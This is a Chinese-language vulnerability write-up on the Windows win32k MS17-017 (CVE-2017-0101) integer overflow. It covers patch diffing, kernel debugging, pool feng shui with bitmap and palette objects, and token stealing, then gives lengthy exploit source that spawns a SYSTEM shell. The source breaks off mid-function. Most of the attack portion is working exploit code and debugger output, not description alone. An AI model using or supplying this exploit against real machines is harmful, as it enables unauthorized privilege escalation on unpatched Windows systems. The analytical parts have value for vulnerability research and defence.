ms17-017提权漏洞

Microsoft Windows Transaction Manager 权限许可和访问控制漏洞

  • CNNVD编号:CNNVD-201703-757
  • 危害等级: 中危
  • CVE编号: CVE-2017-0101
  • 漏洞类型: 缓冲区溢出
  • 发布时间: 2017-03-20
  • 威胁类型: 远程
  • 更新时间: 2017-03-20
  • 厂 商: microsoft

受影响实体

  • Microsoft Windows_10
  • Microsoft Windows_10:1511
  • Microsoft Windows_10:1607
  • Microsoft Windows_7:SP1
  • Microsoft Windows_8.1
  • Microsoft Windows_Rt_8.1
  • Microsoft Windows_server_2008:SP2
  • Microsoft Windows_server_2008:R2
  • Microsoft Windows_server_2012:R2
  • Microsoft Windows_vista:SP2

详细分析


模块对比

实验环境为win7 32bit SP1下载ms17-017对应的kb4012212补丁包,使用expand命令提取补丁文件

1
expand -F:* Windows6.1-KB4012212-x86.cab  c:\path

找到补丁包中对应更新的win32k.sys程序,查看版本为6.1.7601.23677,查找最接近该模块的历史版本6.1.7601.23591

使用BinDiff分析漏洞补丁,找到存在漏洞的函数EngRealizeBrush

函数分析

IDA分析EngRealizeBrush函数,对比新旧版本差异,新版本的win32k.sys内增加了ULongLongToULongULongAdd函数防止PALLOCMEM申请tag为”Gebr”的内存时产生整型溢出,PALLOCMEM函数第一个参数为申请内存的大小

PALLOCMEM函数内容如下,因此可以尝试从v12(形参中Size的来源)变量切入分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void * Pallocmem(DWORD Size, char *szFileName,  DWORD nLine)
{
PVOID v2; // esi
PVOID v3; // eax

v2 = 0;
if ( Size )
{
v3 = Win32AllocPool(Size, Tag);//导致异常
v2 = v3;
if ( v3 )
memset(v3, 0, Size);
}
return v2;
}

ReactOS中查看EngRealizeBrush函数原型

1
2
3
4
5
6
7
8

BOOL APIENTRY EngRealizeBrush ( BRUSHOBJ * pbo,//[in]指向BRUSHOBJ的指针
SURFOBJ * psoDst,//[in]指向要实现画笔的表面的指针
SURFOBJ * psoPattern,//[in]指向描述画笔图案的表面的指针
SURFOBJ * psoMask,//[in]指向画笔的透明蒙版的指针
XLATEOBJ * pxlo,//[in]指向XLATEOBJ的指针
ULONG iHatch //[in]指示psoPattern参数是否为DrvEnablePDEV返回的阴影线之一
)

EngRealizeBrush参数中SURFOBJ结构体内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _SURFOBJ {
DHSURF dhsurf;//表面的句柄,前提是该表面受设备管理
HSURF hsurf;//表面的句柄
DHPDEV dhpdev;//标识与指定表面关联的设备的PDEV
HDEV hdev;//GDI与此设备关联的PDEV的逻辑句柄
SIZEL sizlBitmap;//指定SIZEL结构,该结构包含曲面的宽度和高度(以像素为单位)。SIZEL结构与SIZE结构相同
ULONG cjBits;//指定pvBits指向的缓冲区的大小
PVOID pvBits;//如果表面是标准格式的位图,则这是指向表面像素的指针
PVOID pvScan0;//指向位图的第一条扫描线的指针
LONG lDelta;//指定在位图中向下移动一条扫描线所需的字节数
ULONG iUniq;//指定指定表面的当前状态
ULONG iBitmapFormat;//指定最接近此曲面的标准格式
USHORT iType;//曲面类型STYPE_BITMAP | STYPE_DEVBITMAP | STYPE_DEVICE
USHORT fjBitmap;//标志位
} SURFOBJ;

此时根据变量v12赋值过程向上查找,发现最终影响v12的值有三个,即EngRealizeBrush参数中的如下内容

  • a2->iBitmapFormat
  • a3->sizlBitmap
  • a4->sizlBitmap

动态调试

建立windbg双机调试,加载符号后在win32k!EngRealizeBrush尝试下硬件执行断点,尝试触发断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0: kd> ba e1 win32k!EngRealizeBrush
0: kd> g
Breakpoint 0 hit
win32k!EngRealizeBrush:
9613d5a0 8bff mov edi,edi
0: kd> kb
ChildEBP RetAddr Args to Child
a68b9a20 96140c34 ffa1bd68 ffb5b6a0 de1f1010 win32k!EngRealizeBrush
a68b9ab8 961434af fb8308c0 ffb8a748 9613d5a0 win32k!bGetRealizedBrush+0x70c
a68b9ad0 961b9ae6 ffa1bd68 ffa1bd68 ffb5b690 win32k!pvGetEngRbrush+0x1f
a68b9b34 961de723 ffb5b6a0 00000000 00000000 win32k!EngBitBlt+0x2bf
a68b9b98 961509ec ffa1bd68 a68b9bfc a68b9bec win32k!GrePatBltLockedDC+0x22b
a68b9c14 83e511ea 0e010dc5 00000100 00000010 win32k!NtGdiPatBlt+0x14c
a68b9c14 779d70b4 0e010dc5 00000100 00000010 nt!KiFastCallEntry+0x12a
0030fa54 75f66333 012c105c 0e010dc5 00000100 ntdll!KiFastSystemCallRet
0030fb40 7760ed6c 7ffde000 0030fb8c 779f37f5 gdi32!NtGdiPatBlt+0xc
0030fb8c 779f37c8 012c1ab7 7ffde000 00000000 kernel32!BaseThreadInitThunk+0xe
0030fba4 00000000 012c1ab7 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

断点触发后查看调用栈信息发现由用户态进入内核态的函数为GDI32!NtGdiPatBlt,函数原型如下:

1
2
3
4
5
6
7
8
BOOL PatBlt(
HDC hdc,//设备上下文的句柄
int x,//要填充的矩形的左上角的x坐标(以逻辑单位为单位)
int y,//要填充的矩形的左上角的y坐标(以逻辑单位为单位)
int w,//矩形的宽度,以逻辑单位为单位
int h,//矩形的高度,以逻辑单位为单位
DWORD rop//栅格操作代码
);

在实验环境中多次尝试触发断点并观察后续函数调用,PALLOCMEM函数并不会每次都得到执行,查看EngRealizeBrush函数存在变量gpCachedEngbrush用来缓存上次申请的内存空间并判断如果满足当前条件不再进行内存申请

尝试编写POC代码触发断点进入EngRealizeBrush函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<Windows.h>

int main()
{
HDC hdc = GetDC(NULL);
HBITMAP hbmp = CreateBitmap(0x11,0x111,1,1,NULL);//创建位图
HBRUSH hbru = CreatePatternBrush(hbmp);//创建指定位图的逻辑刷
SelectObject(hdc,hbru);

__debugbreak();
PatBlt(hdc,0x100,0x10,0x100,0x100,PATCOPY);//指定的模式复制到目标位图中


return 0 ;
}

win32k!EngRealizeBrush下断后查看函数参数如下

a1–>fe476d68

a2–>fe522d18

a3–>fde02198

a4–>00000000

可以看到EngRealizeBrush的实参列表中a4总是为0,因此不再需要考虑a4->sizlBitmap对v12的影响(不需要考虑v12变量二次赋值的情况),着重分析a2->iBitmapFormata3->sizlBitmap与v12的对应关系即可

查看a2->iBitmapFormat对应值为6h,查看a3->sizlBitmap对应值(11h,111h)

此时在win32k!PALLOCMEM函数下硬件执行断点并触发,PALLOCMEM申请缓存区的大小为0x4908h

梳理v12计算公式如下

1
2
3
4
5
6
7
8
9
v12=v59 * v68 + 0x44; 

v68=a3(_SURFOBJ psoPattern)-16+9*4==sizlBitmap.cy=111h

v59 = (unsigned int)(v11 * v8) >> 3;

v11=0x20h,//(当a2->iBitmapFormat大于5时)

v8=a3->sizlBitmap.cx=11h

那么v12应该为((v11 * v8) >> 3)*v68 + 0x44=48c8h,与动态调试结果一致(4908h,这是由于最终申请内存为v12+40h)

优化公式为PALLOCMEM函数所申请内存的计算公式

Size = ((20h*a3->sizlBitmap.cx)>>3)*a3->sizlBitmap.cy+44h+40h

在调试时发现PALLOCMEM申请的内存转换为ENGBRUSH结构体,对照windows老版本操作系统源码发现IDA此处确实识别有差异

通过对比老版本系统源码查看内容有偏差,IDA中添加自定义结构体PENGBRUSH并将PALLOCMEM函数申请到的内存转换为PENGBRUSH结构体类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct _ENGBRUSH
{
DWORD dwUnknown00; // 000 00000000
ULONG cjSize; // 004 00000144 length of the allocation
DWORD dwUnknown08; // 008 00000000
DWORD dwUnknown0c; // 0c0 00000000
DWORD cxPatRealized; // 010 0000000c
SIZEL sizlBitmap; // 014 00000008 00000008
DWORD cjScanPat; // 01C 00000018 flags?
PBYTE pjBits; // 020 e13fabf8
DWORD dwUnknown24; // 024 00000000
DWORD dwUnknown28; // 028 00000000
DWORD dwUnknown2c; // 02C 00000000
DWORD dwUnknown30; // 030 00000000
DWORD dwUnknown34; // 034 00000000
DWORD dwUnknown38; // 038 00000000
DWORD iFormat; // 03C 00000004 == EBRUSHOBJ:ulDCPalTime?
BYTE aj[4];
} ENDBRUSH, *PENGBRUSH;

EngRealizeBrush函数后续代码会对PALLOCMEM分配的ENGBRUSH结构体内存进行赋值,意味着整型溢出会导致申请到ENGBRUSH内核缓冲区过小,在赋值时会淹没到其他内核对象

v12是无符号整型,因此要溢出并保证能申请到内存需要使

1
((20h*a3->sizlBitmap.cx)>>3)*a3->sizlBitmap.cy+44h+40h>0xFFFFFFFF+2

以下值满足条件

1
2
sizlBitmap.cx=0x23
sizlBitmap.cy=0x1d41d41

修改POC代码并执行,此时溢出导致申请内存大小为0x10,实际申请了0x18个字节,这是因为其中包含8个字节POOL_HEADER

为了观察整型溢出淹没的数据内容,尝试对比ENGBRUSH内存赋值前后的不同,这里可以看到sizlBitmap.cx覆盖了下一块内存的POOL_HEADER,POOL_HEADER被破坏,会触发名为BAD_POOL_HEADERBSOD

继续执行代码时果然触发BAD_POOL_HEADER导致蓝屏,因此在构造EXP时需要绕过POOL_HEADER校验

构造EXP


梳理思路,由于Windows不会对内存页尾的对象相邻的POOL_HEADER进行校验,因此需要利用池风水技术构造内存布局,使得ENGBRUSH处于某一页内存的尾部,PALLOCMEM函数申请的内存被转换为ENGBRUSH结构体,因此我们有机会构造一个越界写的ENGBRUSH结构体,在溢出后需要在溢出的下一块内存布局一个可以方便3环程序利用的对象,如bitmap对象,可以在3环使用Get/SetBitmapBits操作。

查看bitmap对象内核结构SURFACE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
typedef struct _SURFACE
{ // Win XP
BASEOBJECT BaseObject; // 0x000
{
HANDLE hHmgr; // 0x00
ULONG ulShareCount; // 0x04
USHORT cExclusiveLock; // 0x08
USHORT BaseFlags; // 0x0a
PW32THREAD Tid; // 0x0c
} BASEOBJECT, *POBJ;
SURFOBJ surfobj; // 0x010
{
DHSURF dhsurf;//表面的句柄,前提是该表面受设备管理0x010
HSURF hsurf;//表面的句柄0x014
DHPDEV dhpdev;//标识与指定表面关联的设备的PDEV0x018
HDEV hdev;//GDI与此设备关联的PDEV的逻辑句柄0x01c
SIZEL sizlBitmap;//指定SIZEL结构,该结构包含曲面的宽度和高度(以像素为单位)0x020
ULONG cjBits;//指定pvBits指向的缓冲区的大小0x028
PVOID pvBits;//如果表面是标准格式的位图,则这是指向表面像素的指针0x01c
PVOID pvScan0;//指向位图的第一条扫描线的指针0x030
LONG lDelta;//指定在位图中向下移动一条扫描线所需的字节数0x034
ULONG iUniq;//指定指定表面的当前状态0x038
ULONG iBitmapFormat;//指定最接近此曲面的标准格式0x03c
USHORT iType;//曲面类型STYPE_BITMAP | STYPE_DEVBITMAP | STYPE_DEVICE 0x040
USHORT fjBitmap;//标志位0x042
} SURFOBJ;
XDCOBJ * pdcoAA; // 0x044
FLONG flags; // 0x048
PPALETTE ppal; // 0x04c verified, palette with kernel handle, index 13
WNDOBJ *pWinObj; // 0x050 NtGdiEndPage->GreDeleteWnd
union // 0x054
{
HANDLE hSecureUMPD; // if UMPD_SURFACE set
HANDLE hMirrorParent;// if MIRROR_SURFACE set
HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set
};
SIZEL sizlDim; // 0x058
HDC hdc; // 0x060 verified
ULONG cRef; // 0x064
HPALETTE hpalHint; // 0x068
HANDLE hDIBSection; // 0x06c for DIB sections
HANDLE hSecure; // 0x070
DWORD dwOffset; // 0x074
UINT unk_078; // 0x078
// ... ?
} SURFACE, *PSURFACE; // static unsigned long SURFACE::tSize == 0x7C, sometimes 0xBC

CreateBitmap函数原型如下

1
2
3
4
5
6
7
HBITMAP CreateBitmap(
int nWidth,
int nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID *lpBits
);

bitmap读写能力范围计算公式为:nWidth * nHeight * nBitCount / 8ENGBRUSHiFormat淹没SURFACE对象的sizlBitmap.cy,而sizlBitmap.cy就是CreateBitmap参数中的nHeight,因此当nHeight值为1时可以使其读写范围扩大6倍

拥有了扩展读写能力的bitmap对象,发现ENGBRUSH溢出导致bitmap对象的读写能力扩展了6倍范围(iFormat覆盖sizlBitmap.cy导致),但这仍然不能满足需求,因此需要将bitmap对象拆分成两个合适的对象,之后通过使用同一页内存中第一个bitmap的6倍读写能力修改第二个对象的读写能力来达到任意地址读写的目的(可以在其后再部署一个bitmap对象,扩展其读写范围,也可以部署其他对象,例如PALETTE),本例实现采用bitmap对象结合调色板PALETTE对象,通过篡改当前 PALETTE 对象的成员域 cEntries 值,即可获得相对内存地址读写的能力。

PALETTE结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
typedef struct _PALETTE
{
BASEOBJECT BaseObject; // 0x000
{
HANDLE hHmgr; // 0x00
ULONG ulShareCount; // 0x04
USHORT cExclusiveLock; // 0x08
USHORT BaseFlags; // 0x0a
PW32THREAD Tid; // 0x0c
} BASEOBJECT, *POBJ;

FLONG flPal; // 0x10
ULONG cEntries; // 0x14
ULONG ulTime; // 0x18
HDC hdcHead; // 0x1c
HDEVPPAL hSelected; // 0x20,
ULONG cRefhpal; // 0x24
ULONG cRefRegular; // 0x28
PTRANSLATE ptransFore; // 0x2c
PTRANSLATE ptransCurrent; // 0x30
PTRANSLATE ptransOld; // 0x34
ULONG unk_038; // 0x38
PFN pfnGetNearest; // 0x3c
PFN pfnGetMatch; // 0x40
ULONG ulRGBTime; // 0x44
PRGB555XL pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x4c 读写点
struct _PALETTE *ppalThis; // 0x50
PALETTEENTRY apalColors[1]; // 0x54
} PALETTE, *PPALETTE;

采用这种方式,需要先将用来占位的bitmap位图对象释放掉,然后分配较小的位图SURFACE对象,在其后再申请适当大小的PALETTE对象。漏洞触发前使用UnregisterClassA释放掉一部分用来占位的0x18字节的窗口类菜单名称字符串,以便漏洞触发时能够申请到我们希望的位置

梳理EXP构造步骤

  • 第一步,内核在释放内存块时会对相邻的内存块有效性进行校验,这是构造0x18字节的溢出时产生蓝屏的原因,而内核在释放内存块时,如果内存块位于所在内存页的末尾,则不会对相邻的内存块头部结构进行校验,因此我们构造溢出时申请的0x18个字节需要保证在内存页尾才不会触发BSOD0x1000-0x18=0xFE8,尝试喷射大量占用FE8大小的内存,使用CreateBitmap,而在需要分配小于0x1000字节的内存时,CreateBitmap分配的内存总大小为SURFACE对象大小+位图大小+POOL_HEADERSURFACE对象的大小为 0x154 字节,那么所需要创建的位图大小为FE8-154-8=E8C
1
2
3
4
5
6
static HBITMAP bitmaps[2000];
HBITMAP bmp;
for (int y = 0; y < 2000; y++) {
bmp = CreateBitmap(0x3A3, 1, 1, 0x20, NULL);//计算公式为nWidth * nHeight * nBitCount / 8
bitmaps[y] = bmp;
}//此时系统会存在大量0x18字节在内存页末尾
  • 第二步,创建大量占用0x18个字节的对象进行占位,可以使用windows窗口类创建lpszMenuName为四个字符的窗口,创建窗口类时内核会调用ExAllocatePoolWithQuotaTag,申请的内存大小为lpszMenuName*2+2+POOL_HEADER=0x12(内存对齐后为0x18)
1
2
3
4
5
6
7
8
9
10
11
char strName[0x20];
for (int i = 0; i < 2000; i++)
{
WNDCLASSEXA wndClass = { 0 };
sprintf(strName,"Class%d",i);//这个字符串大小不能超过5
wndClass.lpfnWndProc = DefWindowProc;
wndClass.lpszClassName = strName;
wndClass.lpszMenuName = "yean";
wndClass.cbSize = sizeof(WNDCLASSEXA);
RegisterClassExA(&wndClass);
}//windows窗口类占位
  • 第三步,释放掉第一步申请的内存,为了后续对大小为0xFE8的内存再进行二次分割(第一部分扩展读写能力,第二部分实现任意读写)
1
2
3
for (int s = 0; s < 2000; s++) {
DeleteObject(bitmaps[s]);
}
  • 第四步,创建2000个大小0x7F8的Bitmap对象进行内存占位,此时内存中会出现大量的0x7F0的内存间隙
1
2
3
4
5
for (int k = 0; k < 2000; k++) {
//0x1A6*0x20/8 +0x154+0x8=7F4,补齐后为7F8
bmp = CreateBitmap(0x1A6, 1, 1, 0x20, NULL);
bitmaps[k] = bmp;
}
  • 第五步,创建2000个大小0x7F0(FE8-0x7F8)的调色板Palette对象进行内存占位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HPALETTE hps;
LOGPALETTE* lPalette;
//0x1E3*4+0x54+8=7EC,补齐后为7F0
lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
lPalette->palNumEntries = 0x1E3;//逻辑调色板中的条目数
lPalette->palVersion = 0x0300;////表示与 Windows 3.0 兼容
// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
for (int k = 0; k < 2000; k++) {
hps = CreatePalette(lPalette);//循环创建创建2000个逻辑调色板
if (!hps) {
printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);
//return;
}
hp[k] = hps;
}
  • 第六步,释放一部分创建的0x18对象
1
2
3
4
5
6
TCHAR strName[0x32];
for (int i = 800; i < 1000; i++)
{
sprintf(strName,"Class%d",i);
UnregisterClassA(strName,NULL);
}
  • 第七步,触发漏洞并定位目标位图对象并获取调色板成员数据,之前喷射的Bitmaps位图大小为0x698,而ENGBRUSH越界导致其大小变成了0x698*6=0x2790,可以通过查找大于0x698的位图找到溢出点
1
2
3
4
5
6
7
8
9
10
11
HRESULT res;
bits = (BYTE*)malloc(0x6F8);
for (int i = 0; i < 2000; i++) {
res = GetBitmapBits(bitmaps[i], 0x6F8, bits);
if (res > 0x6F8 - 1) {

hManager = bitmaps[i];
printf("[*] Manager Bitmap: %d\r\n", i);//溢出点位图
break;
}
}
  • 第八步,执行触发漏洞函数溢出申请ENGBRUSH对象,溢出导致下一个内存头部的Bitmap对象越界读写,随后从7F8大小的Bitmap对象修改7F0大小的Palette对象成员cEntries,构造出内存任意读写
1
2
3
4
5
UINT cEntries = * (UINT *)(&bits[0x698 + 0x8 + 0x18]);//1E3
printf("[*] Original Current Manager XEPALOBJ->cEntries:0x%x\r\n",cEntries);

* (UINT *)(&bits[0x698 + 0x8 + 0x18])= 0xFFFFFFFF;//修改cEntries扩展读写范围
SetBitmapBits(hManager,0x6F8,bits);//修改后的PALETTE写回到原内存
  • 第九步,可以指定两个Palette对象,一个命名为hManager,另一个命名为hWorker,使用SetPaletteEntries方法操作hManager对象相对偏移达到修改hWokrer对象pFirstColor指向的地址的目的,使用SetPaletteEntries/GetPaletteEntries操作hWokrer实现任意读写。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (int i = 0; i < 2000; i++)
{
if(GetPaletteEntries(hp[i],0,0x400,(LPPALETTEENTRY)rPalette) > 0x3BB)//256*4=0x400
{
printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n",hp[i]);//查找具有任意读写范围的PALETTE
hpManager = hp[i];//溢出lPalette句柄
break;
}
}

UINT tHeader = pFirstColor - 0x1000;//ENGBRUSH所在页面
tHeader = tHeader & 0xFFFFF000;//ENGBRUSH页首
printf("[*] Gh15 Address: 0x%04x.\r\n",tHeader);//3FE*4=1000-8
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&tHeader);//被溢出页的下一页的pfirstcolor->ENGBRUSH页首
  • 第十步,提权,加载ntkrnlpa.exe计算到全局变量PsInitialSystemProcess的偏移,在ntkrnlpa.exePsInitialSystemProcess代表了EPROCESS结构的地址,通过EPROCESS相对偏移取到双向链表ActiveProcessLinks的地址,通过PID对比找到当前进程的EPROCESS结构,最终从ntkrnlpa.exeEPROCESS中取得Token替换到当前进程中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void//PID hear
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF//Token hear
+0x0fc WorkingSetPage : Uint4B
+0x100 AddressCreationLock : _EX_PUSH_LOCK
+0x104 RotateInProgress : Ptr32 _ETHREAD
+0x108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B

总结


该漏洞是由win32k中申请ENGBRUSH对象时未对大小进行校验从而使得可以使用整型溢出的方式申请到一块极小的内存,产生ENGBRUSH覆盖其他内核对象扩展其读写能力的行为,再使用被扩展的Bitmap对象修改其后续Palette对象的读写能力范围达到任意地址读写的特权,通过任意读写来修复被溢出的POOL_HEADER最后使用Get\Set方法替换进程Token实现权限提升,利用方法比较苛刻,需要严格构造内存布局才能达到任意地址读写的目的。

EXP代码


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#pragma comment(lib,"Psapi.lib")

void fengshui();
static HBITMAP bitmaps[2000];//喷射对象
static HPALETTE hp[2000];//喷射对象
BYTE* bits;
HBITMAP hManager;
HPALETTE hpManager,hpWorker;
UINT PsInitialSystemProcess();
UINT GetNTOsBase();
UINT PsGetCurrentProcess();

typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;
VersionSpecificConfig gConfig = {0x0b4,0x0f8};
int main()
{
HDC hdc = GetDC(NULL);
HBITMAP hbmp = CreateBitmap(0x23,0x1d41d41,1,1,NULL);
HBRUSH hbru = CreatePatternBrush(hbmp);
SelectObject(hdc,hbru);

fengshui();//构造内存布局
PatBlt(hdc,0x100,0x10,0x100,0x100,PATCOPY);//触发溢出
bits = (BYTE*)malloc(0x1000);
for(int i = 0; i < 2000; i++)
{
if(GetBitmapBits(bitmaps[i],0x1000,bits) > 0x698)//0x1A6*0x20/8=698
{
hManager = bitmaps[i];
printf("[*] Overflow Bitmap: %d\r\n",i);
break;//查找到溢出内存
}
}

UINT pFirstColor = * (UINT *)(&bits[0x698 + 0x8 + 0x50]);//size
printf("[*] Original Current Manager XEPALOBJ->pFirstColor:0x%x\r\n",pFirstColor);

UINT cEntries = * (UINT *)(&bits[0x698 + 0x8 + 0x18]);//1E3
printf("[*] Original Current Manager XEPALOBJ->cEntries:0x%x\r\n",cEntries);

* (UINT *)(&bits[0x698 + 0x8 + 0x18])= 0xFFFFFFFF;//修改cEntries扩展读写范围
SetBitmapBits(hManager,0x6F8,bits);//修改后的PALETTE写回到原内存
UINT uEntries = * (UINT *)(&bits[0x698 + 0x8 + 0x18]);//FFFFFFFF
printf("[*] Updated Manager XEPALOBJ->cEntries:0x%x\r\n",uEntries);//查看修改后的值


UINT* rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));//size
ZeroMemory(rPalette,(0x400 - 1) * sizeof(PALETTEENTRY));
for (int i = 0; i < 2000; i++)
{
if(GetPaletteEntries(hp[i],0,0x400,(LPPALETTEENTRY)rPalette) > 0x3BB)//256*4=0x400
{
printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n",hp[i]);//查找具有任意读写范围的PALETTE
hpManager = hp[i];//溢出lPalette句柄
break;
}
}

UINT tHeader = pFirstColor - 0x1000;//ENGBRUSH所在页面
tHeader = tHeader & 0xFFFFF000;//ENGBRUSH页首
printf("[*] Gh15 Address: 0x%04x.\r\n",tHeader);//3FE*4=1000-8
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&tHeader);//被溢出页的下一页的pfirstcolor->ENGBRUSH页首

UINT wBuffer[2];
for (int i = 0; i < 2000; i++)
{
GetPaletteEntries(hp[i],0,2,(LPPALETTEENTRY)wBuffer);//pfirstcolor->ENGBRUSH页首,查找ENGBRUSH页句柄
if (wBuffer[1] >> 24 == 0x35)//Gh15
{
hpWorker = hp[i];//ENGBRUSH页
printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n",hpWorker);
printf("[*] wBuffer: %x\r\n",wBuffer[1]);
break;
}
}

UINT gHeader[8];
GetPaletteEntries(hpWorker,0,8,(LPPALETTEENTRY)gHeader);//ENGBRUSH页
UINT oHeader = pFirstColor & 0xFFFFF000;//溢出页页首
printf("[*] Overflowed Gh15 Address: 0x%04x.\r\n",oHeader);

UINT oValue = oHeader + 0x1C;//1C = 句柄
UINT value;
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&oValue);
GetPaletteEntries(hpWorker,0,1,(LPPALETTEENTRY)&value);
gHeader[2] = value;
gHeader[3] = 0;
gHeader[7] = value;//拼凑新的pool_header

UINT oHeaderdata[8];
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&oHeader);
GetPaletteEntries(hpWorker,0,8,(LPPALETTEENTRY)oHeaderdata);//溢出页首存储的数据
printf("[*] Gh05 Overflowed Object Header:\r\n");
printf(" %04x %04x %04x %04x\r\n", oHeaderdata[0], oHeaderdata[1], oHeaderdata[2], oHeaderdata[3]);//[2]&[7]=修复的句柄
printf(" %04x %04x %04x %04x\r\n", oHeaderdata[4], oHeaderdata[5], oHeaderdata[6], oHeaderdata[7]);
printf("[*] Gh05 Fixed Object Header:\r\n");
printf(" %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
printf(" %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);

SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&oHeader);
SetPaletteEntries(hpWorker,0,8,(PALETTEENTRY*)gHeader);//修复页首
printf("[*] Fix Overflowed Gh05 Overflowed Object Header.\r\n");

UINT SystemEPROCESS = PsInitialSystemProcess();
UINT CurrentEPROCESS = PsGetCurrentProcess();


UINT SystemToken = 0;
UINT tmp = SystemEPROCESS + gConfig.TokenOffset;//偏移取token
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&tmp);
GetPaletteEntries(hpWorker,0,1,(LPPALETTEENTRY)&SystemToken);//固定EPROCESS偏移取token
printf("[*] Got System Token: %x\r\n",SystemToken);

UINT CurProcessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetPaletteEntries(hpManager,0x3FE,1,(PALETTEENTRY*)&CurProcessAddr);//瞄准当前进程token

SetPaletteEntries(hpWorker,0,1,(PALETTEENTRY*)&SystemToken);//开枪
printf("Dropping in SYSTEM shell...\r\n\r\n");

system("cmd.exe");

return 0 ;
}
void fengshui()
{
for(int i = 0; i < 2000; i++)
{
bitmaps[i] = CreateBitmap(0x3A3,1,1,0x20,NULL);

}//喷射bitmap

char strName[0x20];
for (int i = 0; i < 2000; i++)
{
WNDCLASSEXA wndClass = { 0 };
sprintf(strName,"Class%d",i);//size
wndClass.lpfnWndProc = DefWindowProc;
wndClass.lpszClassName = strName;
wndClass.lpszMenuName = "yean";
wndClass.cbSize = sizeof(WNDCLASSEXA);
RegisterClassExA(&wndClass);
}//windows窗口类占位

for (int i = 0; i < 2000; i++)
{
DeleteObject(bitmaps[i]);
}//释放0xE8C,进行二次分割

for (int i = 0; i < 2000; i++)
{
bitmaps[i] = CreateBitmap(0x1A6,1,1,0x20,NULL);
}//喷射bitmap

LOGPALETTE* lPalette;
lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE)+0x1E3*sizeof(PALETTEENTRY));//size
lPalette->palNumEntries = 0x1E3;//0x1E3*4+0x54+8=7EC
lPalette->palVersion = 0x0300;//表示与 Windows 3.0 兼容
for (int i = 0; i < 2000; i++)
{
hp[i] = CreatePalette(lPalette);
}
for (int i = 800; i < 1000; i++)
{
sprintf(strName,"Class%d",i);
UnregisterClassA(strName,NULL);
}
}


UINT PsInitialSystemProcess()
{
UINT ntos = (UINT)LoadLibraryA("ntkrnlpa.exe");
UINT addr = (UINT)GetProcAddress((HMODULE)ntos,"PsInitialSystemProcess");
